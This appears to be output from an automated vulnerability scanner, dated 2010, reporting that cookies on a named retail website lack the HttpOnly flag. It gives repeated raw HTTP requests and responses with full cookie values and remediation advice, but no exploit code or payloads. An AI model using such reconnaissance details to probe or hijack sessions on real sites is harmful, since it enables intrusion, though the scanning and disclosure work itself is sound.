GET /infodept/iskills.jsp HTTP/1.1 Host: www.acehardware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=QQhlNbfS3Kv1TJy3QydzV5G1DLjS9c5b97p8tppcJvvFN7SYR5mQ!-141289455; __g_c=w%3A1%7Cb%3A4%7Cr%3Ahttp%24*%24//www.acehardware.com/home/index.jsp%3Frdir%3D1A_2___1293639576820%7Cc%3A285307860616199%7Cd%3A1%7Ca%3A1%7Ce%3A0.5%7Cf%3A0%7Ch%3A1%7Cg%3A1; s_sess=%20s_p7_persist%3DCABECOME_DF%253A3388719%253AACE%3B%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utmz=185450681.1293639556.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fsr.a=1293639580923; rvp=3388719:; browser_id=118733033484; __g_u=285307860616199_1_0.5_0_5_1294068625634_1; s_pers=%20s_nr%3D1293636701994%7C1296228701994%3B%20s_lastvisit%3D1293639556668%7C1388247556668%3B%20gpv_p27%3DMy%2520Account%253A%2520Sign-In%7C1293641380330%3B; fsr.session={"v":1,"rid":"1293636636322_310950","pv":3,"to":4.6,"c":"http://www.acehardware.com/home/index.jsp","lc":{"d0":{"v":3,"s":true,"e":1}},"cd":0,"sd":0,"f":1293639577528}; rvdata=XR79524e5917584a1a0f4f1a175b0a0a0304; __utma=185450681.1598117939.1293639556.1293639556.1293639556.1; __utmc=185450681; __utmb=185450681.1.10.1293639556;
Response
HTTP/1.1 200 OK Date: Wed, 29 Dec 2010 16:23:36 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache Content-Length: 104542 P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
GET /infohome/index.jsp HTTP/1.1 Host: www.acehardware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=QQhlNbfS3Kv1TJy3QydzV5G1DLjS9c5b97p8tppcJvvFN7SYR5mQ!-141289455; __g_c=w%3A1%7Cb%3A4%7Cr%3Ahttp%24*%24//www.acehardware.com/home/index.jsp%3Frdir%3D1A_2___1293639576820%7Cc%3A285307860616199%7Cd%3A1%7Ca%3A1%7Ce%3A0.5%7Cf%3A0%7Ch%3A1%7Cg%3A1; s_sess=%20s_p7_persist%3DCABECOME_DF%253A3388719%253AACE%3B%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utmz=185450681.1293639556.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fsr.a=1293639580923; rvp=3388719:; browser_id=118733033484; __g_u=285307860616199_1_0.5_0_5_1294068625634_1; s_pers=%20s_nr%3D1293636701994%7C1296228701994%3B%20s_lastvisit%3D1293639556668%7C1388247556668%3B%20gpv_p27%3DMy%2520Account%253A%2520Sign-In%7C1293641380330%3B; fsr.session={"v":1,"rid":"1293636636322_310950","pv":3,"to":4.6,"c":"http://www.acehardware.com/home/index.jsp","lc":{"d0":{"v":3,"s":true,"e":1}},"cd":0,"sd":0,"f":1293639577528}; rvdata=XR79524e5917584a1a0f4f1a175b0a0a0304; __utma=185450681.1598117939.1293639556.1293639556.1293639556.1; __utmc=185450681; __utmb=185450681.1.10.1293639556;
Response
HTTP/1.1 200 OK Date: Wed, 29 Dec 2010 16:23:24 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache Content-Length: 77695 P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
GET /paintingtips/index.jsp HTTP/1.1 Host: www.acehardware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=QQhlNbfS3Kv1TJy3QydzV5G1DLjS9c5b97p8tppcJvvFN7SYR5mQ!-141289455; __g_c=w%3A1%7Cb%3A4%7Cr%3Ahttp%24*%24//www.acehardware.com/home/index.jsp%3Frdir%3D1A_2___1293639576820%7Cc%3A285307860616199%7Cd%3A1%7Ca%3A1%7Ce%3A0.5%7Cf%3A0%7Ch%3A1%7Cg%3A1; s_sess=%20s_p7_persist%3DCABECOME_DF%253A3388719%253AACE%3B%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utmz=185450681.1293639556.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fsr.a=1293639580923; rvp=3388719:; browser_id=118733033484; __g_u=285307860616199_1_0.5_0_5_1294068625634_1; s_pers=%20s_nr%3D1293636701994%7C1296228701994%3B%20s_lastvisit%3D1293639556668%7C1388247556668%3B%20gpv_p27%3DMy%2520Account%253A%2520Sign-In%7C1293641380330%3B; fsr.session={"v":1,"rid":"1293636636322_310950","pv":3,"to":4.6,"c":"http://www.acehardware.com/home/index.jsp","lc":{"d0":{"v":3,"s":true,"e":1}},"cd":0,"sd":0,"f":1293639577528}; rvdata=XR79524e5917584a1a0f4f1a175b0a0a0304; __utma=185450681.1598117939.1293639556.1293639556.1293639556.1; __utmc=185450681; __utmb=185450681.1.10.1293639556;
Response
HTTP/1.1 200 OK Date: Wed, 29 Dec 2010 16:23:36 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache Content-Length: 76147 P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
GET /shopbyBrand/index.jsp HTTP/1.1 Host: www.acehardware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=QQhlNbfS3Kv1TJy3QydzV5G1DLjS9c5b97p8tppcJvvFN7SYR5mQ!-141289455; __g_c=w%3A1%7Cb%3A4%7Cr%3Ahttp%24*%24//www.acehardware.com/home/index.jsp%3Frdir%3D1A_2___1293639576820%7Cc%3A285307860616199%7Cd%3A1%7Ca%3A1%7Ce%3A0.5%7Cf%3A0%7Ch%3A1%7Cg%3A1; s_sess=%20s_p7_persist%3DCABECOME_DF%253A3388719%253AACE%3B%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utmz=185450681.1293639556.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fsr.a=1293639580923; rvp=3388719:; browser_id=118733033484; __g_u=285307860616199_1_0.5_0_5_1294068625634_1; s_pers=%20s_nr%3D1293636701994%7C1296228701994%3B%20s_lastvisit%3D1293639556668%7C1388247556668%3B%20gpv_p27%3DMy%2520Account%253A%2520Sign-In%7C1293641380330%3B; fsr.session={"v":1,"rid":"1293636636322_310950","pv":3,"to":4.6,"c":"http://www.acehardware.com/home/index.jsp","lc":{"d0":{"v":3,"s":true,"e":1}},"cd":0,"sd":0,"f":1293639577528}; rvdata=XR79524e5917584a1a0f4f1a175b0a0a0304; __utma=185450681.1598117939.1293639556.1293639556.1293639556.1; __utmc=185450681; __utmb=185450681.1.10.1293639556;
Response
HTTP/1.1 200 OK Date: Wed, 29 Dec 2010 16:23:40 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache Content-Length: 408358 P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
GET /sitemap/index.jsp HTTP/1.1 Host: www.acehardware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=QQhlNbfS3Kv1TJy3QydzV5G1DLjS9c5b97p8tppcJvvFN7SYR5mQ!-141289455; __g_c=w%3A1%7Cb%3A4%7Cr%3Ahttp%24*%24//www.acehardware.com/home/index.jsp%3Frdir%3D1A_2___1293639576820%7Cc%3A285307860616199%7Cd%3A1%7Ca%3A1%7Ce%3A0.5%7Cf%3A0%7Ch%3A1%7Cg%3A1; s_sess=%20s_p7_persist%3DCABECOME_DF%253A3388719%253AACE%3B%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utmz=185450681.1293639556.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fsr.a=1293639580923; rvp=3388719:; browser_id=118733033484; __g_u=285307860616199_1_0.5_0_5_1294068625634_1; s_pers=%20s_nr%3D1293636701994%7C1296228701994%3B%20s_lastvisit%3D1293639556668%7C1388247556668%3B%20gpv_p27%3DMy%2520Account%253A%2520Sign-In%7C1293641380330%3B; fsr.session={"v":1,"rid":"1293636636322_310950","pv":3,"to":4.6,"c":"http://www.acehardware.com/home/index.jsp","lc":{"d0":{"v":3,"s":true,"e":1}},"cd":0,"sd":0,"f":1293639577528}; rvdata=XR79524e5917584a1a0f4f1a175b0a0a0304; __utma=185450681.1598117939.1293639556.1293639556.1293639556.1; __utmc=185450681; __utmb=185450681.1.10.1293639556;
Response
HTTP/1.1 200 OK Date: Wed, 29 Dec 2010 16:23:53 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache Content-Length: 120055 P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /category/index.jsp HTTP/1.1 Host: www.acehardware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=QQhlNbfS3Kv1TJy3QydzV5G1DLjS9c5b97p8tppcJvvFN7SYR5mQ!-141289455; __g_c=w%3A1%7Cb%3A4%7Cr%3Ahttp%24*%24//www.acehardware.com/home/index.jsp%3Frdir%3D1A_2___1293639576820%7Cc%3A285307860616199%7Cd%3A1%7Ca%3A1%7Ce%3A0.5%7Cf%3A0%7Ch%3A1%7Cg%3A1; s_sess=%20s_p7_persist%3DCABECOME_DF%253A3388719%253AACE%3B%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utmz=185450681.1293639556.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fsr.a=1293639580923; rvp=3388719:; browser_id=118733033484; __g_u=285307860616199_1_0.5_0_5_1294068625634_1; s_pers=%20s_nr%3D1293636701994%7C1296228701994%3B%20s_lastvisit%3D1293639556668%7C1388247556668%3B%20gpv_p27%3DMy%2520Account%253A%2520Sign-In%7C1293641380330%3B; fsr.session={"v":1,"rid":"1293636636322_310950","pv":3,"to":4.6,"c":"http://www.acehardware.com/home/index.jsp","lc":{"d0":{"v":3,"s":true,"e":1}},"cd":0,"sd":0,"f":1293639577528}; rvdata=XR79524e5917584a1a0f4f1a175b0a0a0304; __utma=185450681.1598117939.1293639556.1293639556.1293639556.1; __utmc=185450681; __utmb=185450681.1.10.1293639556;
Response
HTTP/1.1 302 Moved Temporarily Date: Wed, 29 Dec 2010 16:23:25 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache="set-cookie" Pragma: no-cache Location: http://www.acehardware.com/home/index.jsp P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" Set-Cookie: rvdata=XR79524e5917584a1a0f4f1a175b0a0a0304; expires=Monday, 16-Jan-2079 19:37:32 GMT; path=/ X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 277
<html><head><title>302 Moved Temporarily</title></head> <body bgcolor="#FFFFFF"> <p>This document you requested has moved temporarily.</p> <p>It's now at <a href="http://www.acehardware.com/home/in ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /family/index.jsp HTTP/1.1 Host: www.acehardware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=QQhlNbfS3Kv1TJy3QydzV5G1DLjS9c5b97p8tppcJvvFN7SYR5mQ!-141289455; __g_c=w%3A1%7Cb%3A4%7Cr%3Ahttp%24*%24//www.acehardware.com/home/index.jsp%3Frdir%3D1A_2___1293639576820%7Cc%3A285307860616199%7Cd%3A1%7Ca%3A1%7Ce%3A0.5%7Cf%3A0%7Ch%3A1%7Cg%3A1; s_sess=%20s_p7_persist%3DCABECOME_DF%253A3388719%253AACE%3B%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utmz=185450681.1293639556.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fsr.a=1293639580923; rvp=3388719:; browser_id=118733033484; __g_u=285307860616199_1_0.5_0_5_1294068625634_1; s_pers=%20s_nr%3D1293636701994%7C1296228701994%3B%20s_lastvisit%3D1293639556668%7C1388247556668%3B%20gpv_p27%3DMy%2520Account%253A%2520Sign-In%7C1293641380330%3B; fsr.session={"v":1,"rid":"1293636636322_310950","pv":3,"to":4.6,"c":"http://www.acehardware.com/home/index.jsp","lc":{"d0":{"v":3,"s":true,"e":1}},"cd":0,"sd":0,"f":1293639577528}; rvdata=XR79524e5917584a1a0f4f1a175b0a0a0304; __utma=185450681.1598117939.1293639556.1293639556.1293639556.1; __utmc=185450681; __utmb=185450681.1.10.1293639556;
Response
HTTP/1.1 302 Moved Temporarily Date: Wed, 29 Dec 2010 16:23:26 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache="set-cookie" Pragma: no-cache Location: http://www.acehardware.com/home/index.jsp P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" Set-Cookie: rvdata=XR79524e5917584a1a0f4f1a175b0a0a0304; expires=Monday, 16-Jan-2079 19:37:33 GMT; path=/ X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 277
<html><head><title>302 Moved Temporarily</title></head> <body bgcolor="#FFFFFF"> <p>This document you requested has moved temporarily.</p> <p>It's now at <a href="http://www.acehardware.com/home/in ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /search/index.jsp HTTP/1.1 Host: www.acehardware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=QQhlNbfS3Kv1TJy3QydzV5G1DLjS9c5b97p8tppcJvvFN7SYR5mQ!-141289455; __g_c=w%3A1%7Cb%3A4%7Cr%3Ahttp%24*%24//www.acehardware.com/home/index.jsp%3Frdir%3D1A_2___1293639576820%7Cc%3A285307860616199%7Cd%3A1%7Ca%3A1%7Ce%3A0.5%7Cf%3A0%7Ch%3A1%7Cg%3A1; s_sess=%20s_p7_persist%3DCABECOME_DF%253A3388719%253AACE%3B%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utmz=185450681.1293639556.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fsr.a=1293639580923; rvp=3388719:; browser_id=118733033484; __g_u=285307860616199_1_0.5_0_5_1294068625634_1; s_pers=%20s_nr%3D1293636701994%7C1296228701994%3B%20s_lastvisit%3D1293639556668%7C1388247556668%3B%20gpv_p27%3DMy%2520Account%253A%2520Sign-In%7C1293641380330%3B; fsr.session={"v":1,"rid":"1293636636322_310950","pv":3,"to":4.6,"c":"http://www.acehardware.com/home/index.jsp","lc":{"d0":{"v":3,"s":true,"e":1}},"cd":0,"sd":0,"f":1293639577528}; rvdata=XR79524e5917584a1a0f4f1a175b0a0a0304; __utma=185450681.1598117939.1293639556.1293639556.1293639556.1; __utmc=185450681; __utmb=185450681.1.10.1293639556;
Response
HTTP/1.1 302 Moved Temporarily Date: Wed, 29 Dec 2010 16:23:37 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache="set-cookie" Pragma: no-cache Location: http://www.acehardware.com/search/noResults.jsp P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" Set-Cookie: rvdata=XR79524e5917584a1a0f4f1a175b0a0a0304; expires=Monday, 16-Jan-2079 19:37:44 GMT; path=/ X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 289
<html><head><title>302 Moved Temporarily</title></head> <body bgcolor="#FFFFFF"> <p>This document you requested has moved temporarily.</p> <p>It's now at <a href="http://www.acehardware.com/search/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /shop/index.jsp HTTP/1.1 Host: www.acehardware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=QQhlNbfS3Kv1TJy3QydzV5G1DLjS9c5b97p8tppcJvvFN7SYR5mQ!-141289455; __g_c=w%3A1%7Cb%3A4%7Cr%3Ahttp%24*%24//www.acehardware.com/home/index.jsp%3Frdir%3D1A_2___1293639576820%7Cc%3A285307860616199%7Cd%3A1%7Ca%3A1%7Ce%3A0.5%7Cf%3A0%7Ch%3A1%7Cg%3A1; s_sess=%20s_p7_persist%3DCABECOME_DF%253A3388719%253AACE%3B%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utmz=185450681.1293639556.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fsr.a=1293639580923; rvp=3388719:; browser_id=118733033484; __g_u=285307860616199_1_0.5_0_5_1294068625634_1; s_pers=%20s_nr%3D1293636701994%7C1296228701994%3B%20s_lastvisit%3D1293639556668%7C1388247556668%3B%20gpv_p27%3DMy%2520Account%253A%2520Sign-In%7C1293641380330%3B; fsr.session={"v":1,"rid":"1293636636322_310950","pv":3,"to":4.6,"c":"http://www.acehardware.com/home/index.jsp","lc":{"d0":{"v":3,"s":true,"e":1}},"cd":0,"sd":0,"f":1293639577528}; rvdata=XR79524e5917584a1a0f4f1a175b0a0a0304; __utma=185450681.1598117939.1293639556.1293639556.1293639556.1; __utmc=185450681; __utmb=185450681.1.10.1293639556;
Response
HTTP/1.1 302 Moved Temporarily Date: Wed, 29 Dec 2010 16:23:29 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache="set-cookie" Pragma: no-cache Location: http://www.acehardware.com/home/index.jsp P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" Set-Cookie: rvdata=XR79524e5917584a1a0f4f1a175b0a0a0304; expires=Monday, 16-Jan-2079 19:37:36 GMT; path=/ X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 277
<html><head><title>302 Moved Temporarily</title></head> <body bgcolor="#FFFFFF"> <p>This document you requested has moved temporarily.</p> <p>It's now at <a href="http://www.acehardware.com/home/in ...[SNIP]...
Report generated by XSS.CX at Wed Dec 29 11:39:41 CST 2010.